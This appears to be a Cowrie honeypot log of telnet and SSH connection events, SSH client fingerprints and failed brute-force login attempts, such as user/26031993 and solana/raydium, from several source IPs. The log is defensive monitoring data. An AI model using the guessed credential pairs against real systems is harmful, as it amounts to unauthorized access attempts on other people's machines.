{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43810,"dst_ip":"10.17.0.5","dst_port":23,"session":"63af915e85ed","protocol":"telnet","message":"New connection: 64.227.101.30:43810 (10.17.0.5:23) [session: 63af915e85ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:51.196091Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48204,"dst_ip":"10.17.0.5","dst_port":23,"session":"f800a0b54bca","protocol":"telnet","message":"New connection: 64.227.101.30:48204 (10.17.0.5:23) [session: f800a0b54bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:55.610440Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.64.114","src_port":59348,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ed8ee5d16f4","protocol":"telnet","message":"New connection: 205.209.64.114:59348 (159.203.135.109:23) [session: 3ed8ee5d16f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:59.869667Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":49318,"dst_ip":"159.203.135.109","dst_port":23,"session":"1af41dde018c","protocol":"telnet","message":"New connection: 68.183.198.12:49318 (159.203.135.109:23) [session: 1af41dde018c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:00.107545Z"}
{"eventid":"cowrie.session.closed","duration":34.949801445007324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:01.106479Z","src_ip":"161.97.105.174","session":"8828c719e7e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51140,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cc7586d39e6","protocol":"telnet","message":"New connection: 64.227.101.30:51140 (10.17.0.5:23) [session: 5cc7586d39e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:05.315495Z"}
{"eventid":"cowrie.session.closed","duration":33.23881697654724,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:05.681341Z","src_ip":"161.97.105.174","session":"dce1ecde3731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02207064628601,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:08.961328Z","src_ip":"64.227.101.30","session":"f7e03606a643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.25017309188843,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:09.078284Z","src_ip":"64.227.101.30","session":"44d086692a65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57040,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3ca5fbce100","protocol":"telnet","message":"New connection: 161.97.105.174:57040 (159.203.135.109:23) [session: f3ca5fbce100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:09.304557Z"}
{"eventid":"cowrie.session.closed","duration":53.52572989463806,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:10.304788Z","src_ip":"64.227.101.30","session":"e6a022402864","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53328,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f74f86ac624","protocol":"telnet","message":"New connection: 64.227.101.30:53328 (10.17.0.5:23) [session: 0f74f86ac624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:10.852525Z"}
{"eventid":"cowrie.session.closed","duration":12.33597207069397,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:12.205516Z","src_ip":"205.209.64.114","session":"3ed8ee5d16f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.87447261810303,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:13.714418Z","src_ip":"64.227.101.30","session":"083984a8edfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53310,"dst_ip":"10.17.0.5","dst_port":23,"session":"778ef974e5f5","protocol":"telnet","message":"New connection: 64.227.101.30:53310 (10.17.0.5:23) [session: 778ef974e5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:13.797861Z"}
{"eventid":"cowrie.session.closed","duration":3.860105037689209,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:17.657243Z","src_ip":"64.227.101.30","session":"778ef974e5f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55326,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f77144497cf","protocol":"telnet","message":"New connection: 64.227.101.30:55326 (10.17.0.5:23) [session: 3f77144497cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:18.059121Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":25071,"dst_ip":"10.17.0.5","dst_port":22,"session":"01b530c21d38","protocol":"ssh","message":"New connection: 2.57.121.25:25071 (10.17.0.5:22) [session: 01b530c21d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:18.234852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:18.239351Z","src_ip":"2.57.121.25","session":"01b530c21d38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:18.343313Z","src_ip":"2.57.121.25","session":"01b530c21d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26031993","message":"login attempt [user/26031993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:18.831254Z","src_ip":"2.57.121.25","session":"01b530c21d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26011995","message":"login attempt [user/26011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:19.938738Z","src_ip":"2.57.121.25","session":"01b530c21d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.7250599861145,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:20.937128Z","src_ip":"64.227.101.30","session":"876c98bcc90a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"258258258","message":"login attempt [user/258258258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:21.045978Z","src_ip":"2.57.121.25","session":"01b530c21d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"255255","message":"login attempt [user/255255] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:22.153802Z","src_ip":"2.57.121.25","session":"01b530c21d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"253634","message":"login attempt [user/253634] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:23.262329Z","src_ip":"2.57.121.25","session":"01b530c21d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:24.369520Z","src_ip":"2.57.121.25","session":"01b530c21d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":52916,"dst_ip":"159.203.135.109","dst_port":23,"session":"360136000703","protocol":"telnet","message":"New connection: 68.183.198.12:52916 (159.203.135.109:23) [session: 360136000703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:24.519992Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":52432,"dst_ip":"159.203.135.109","dst_port":23,"session":"5116a2bd02ec","protocol":"telnet","message":"New connection: 68.183.198.12:52432 (159.203.135.109:23) [session: 5116a2bd02ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:28.324568Z"}
{"eventid":"cowrie.session.closed","duration":1.146610975265503,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:29.471062Z","src_ip":"68.183.198.12","session":"5116a2bd02ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58722,"dst_ip":"10.17.0.5","dst_port":23,"session":"28d2c79559ae","protocol":"telnet","message":"New connection: 64.227.101.30:58722 (10.17.0.5:23) [session: 28d2c79559ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:29.583921Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59930,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a811cc847c","protocol":"telnet","message":"New connection: 64.227.101.30:59930 (10.17.0.5:23) [session: 67a811cc847c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:34.075205Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60486,"dst_ip":"10.17.0.5","dst_port":23,"session":"accee9b78648","protocol":"telnet","message":"New connection: 64.227.101.30:60486 (10.17.0.5:23) [session: accee9b78648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:35.040549Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51192,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d85569ef0b","protocol":"telnet","message":"New connection: 64.227.101.30:51192 (10.17.0.5:23) [session: 38d85569ef0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:35.273806Z"}
{"eventid":"cowrie.session.closed","duration":0.005348682403564453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:35.279030Z","src_ip":"64.227.101.30","session":"38d85569ef0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.80100727081299,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:36.411306Z","src_ip":"64.227.101.30","session":"f800a0b54bca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52416,"dst_ip":"10.17.0.5","dst_port":23,"session":"373ca84faaa7","protocol":"telnet","message":"New connection: 64.227.101.30:52416 (10.17.0.5:23) [session: 373ca84faaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:40.560693Z"}
{"eventid":"cowrie.session.closed","duration":0.0047147274017333984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:40.565294Z","src_ip":"64.227.101.30","session":"373ca84faaa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79730439186096,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:44.101731Z","src_ip":"161.97.105.174","session":"f3ca5fbce100","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":32792,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f405862a25f","protocol":"telnet","message":"New connection: 64.227.101.30:32792 (10.17.0.5:23) [session: 1f405862a25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:45.672387Z"}
{"eventid":"cowrie.session.closed","duration":0.005899906158447266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:45.678148Z","src_ip":"64.227.101.30","session":"1f405862a25f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.334431171417236,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:48.441834Z","src_ip":"68.183.198.12","session":"1af41dde018c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35672,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2e3e580c11d","protocol":"telnet","message":"New connection: 161.97.105.174:35672 (159.203.135.109:23) [session: f2e3e580c11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:49.354365Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36204,"dst_ip":"10.17.0.5","dst_port":23,"session":"0092cd70d8dd","protocol":"telnet","message":"New connection: 64.227.101.30:36204 (10.17.0.5:23) [session: 0092cd70d8dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:49.911082Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35960,"dst_ip":"10.17.0.5","dst_port":23,"session":"196cc383cd67","protocol":"telnet","message":"New connection: 64.227.101.30:35960 (10.17.0.5:23) [session: 196cc383cd67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:50.076272Z"}
{"eventid":"cowrie.session.closed","duration":39.285656213760376,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:50.138057Z","src_ip":"64.227.101.30","session":"0f74f86ac624","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36290,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cacaf7c482c","protocol":"telnet","message":"New connection: 64.227.101.30:36290 (10.17.0.5:23) [session: 6cacaf7c482c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:50.193753Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35664,"dst_ip":"10.17.0.5","dst_port":23,"session":"eac0eabdcb25","protocol":"telnet","message":"New connection: 64.227.101.30:35664 (10.17.0.5:23) [session: eac0eabdcb25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:51.075542Z"}
{"eventid":"cowrie.session.closed","duration":38.59741735458374,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:59:56.656446Z","src_ip":"64.227.101.30","session":"3f77144497cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00537323951721,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:00.441666Z","src_ip":"64.227.101.30","session":"0dabd3bf8447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37924,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f2f243cc81","protocol":"telnet","message":"New connection: 64.227.101.30:37924 (10.17.0.5:23) [session: 41f2f243cc81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:02.435914Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39458,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d5e9287c690","protocol":"telnet","message":"New connection: 64.227.101.30:39458 (10.17.0.5:23) [session: 3d5e9287c690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:02.950387Z"}
{"eventid":"cowrie.session.closed","duration":38.46495866775513,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:08.048722Z","src_ip":"64.227.101.30","session":"28d2c79559ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40212,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ce0d9b788dc","protocol":"telnet","message":"New connection: 64.227.101.30:40212 (10.17.0.5:23) [session: 1ce0d9b788dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:08.548764Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":59290,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a781d740cf2","protocol":"telnet","message":"New connection: 68.183.198.12:59290 (159.203.135.109:23) [session: 6a781d740cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:09.030028Z"}
{"eventid":"cowrie.session.closed","duration":45.497397899627686,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:10.016961Z","src_ip":"68.183.198.12","session":"360136000703","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.219303131103516,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:12.294392Z","src_ip":"64.227.101.30","session":"67a811cc847c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41384,"dst_ip":"10.17.0.5","dst_port":22,"session":"41f08eee63c7","protocol":"ssh","message":"New connection: 193.32.162.145:41384 (10.17.0.5:22) [session: 41f08eee63c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:12.375716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:12.381186Z","src_ip":"193.32.162.145","session":"41f08eee63c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:12.497896Z","src_ip":"193.32.162.145","session":"41f08eee63c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"raydium","message":"login attempt [solana/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:12.826187Z","src_ip":"193.32.162.145","session":"41f08eee63c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:13.940923Z","src_ip":"193.32.162.145","session":"41f08eee63c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.68.11.140","src_port":37902,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e82d0fefef0","protocol":"telnet","message":"New connection: 92.68.11.140:37902 (10.17.0.5:23) [session: 3e82d0fefef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:14.464723Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53048,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb3246cb6f48","protocol":"telnet","message":"New connection: 161.97.105.174:53048 (159.203.135.109:23) [session: bb3246cb6f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:15.333380Z"}
{"eventid":"cowrie.session.closed","duration":6.729248046875,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:15.759147Z","src_ip":"68.183.198.12","session":"6a781d740cf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43742,"dst_ip":"10.17.0.5","dst_port":23,"session":"e597405910e7","protocol":"telnet","message":"New connection: 64.227.101.30:43742 (10.17.0.5:23) [session: e597405910e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:15.763992Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":60236,"dst_ip":"159.203.135.109","dst_port":23,"session":"afa4d616e1bd","protocol":"telnet","message":"New connection: 68.183.198.12:60236 (159.203.135.109:23) [session: afa4d616e1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:16.250394Z"}
{"eventid":"cowrie.session.closed","duration":42.27282977104187,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:17.313282Z","src_ip":"64.227.101.30","session":"accee9b78648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45060,"dst_ip":"10.17.0.5","dst_port":23,"session":"173f63e23417","protocol":"telnet","message":"New connection: 64.227.101.30:45060 (10.17.0.5:23) [session: 173f63e23417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:19.356030Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42266,"dst_ip":"10.17.0.5","dst_port":23,"session":"67da150bae69","protocol":"telnet","message":"New connection: 64.227.101.30:42266 (10.17.0.5:23) [session: 67da150bae69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:19.459865Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46528,"dst_ip":"10.17.0.5","dst_port":23,"session":"980094750033","protocol":"telnet","message":"New connection: 64.227.101.30:46528 (10.17.0.5:23) [session: 980094750033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:24.294644Z"}
{"eventid":"cowrie.session.closed","duration":33.797351121902466,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:24.872786Z","src_ip":"64.227.101.30","session":"eac0eabdcb25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":33110,"dst_ip":"159.203.135.109","dst_port":23,"session":"f91cffa041f7","protocol":"telnet","message":"New connection: 68.183.198.12:33110 (159.203.135.109:23) [session: f91cffa041f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:24.881711Z"}
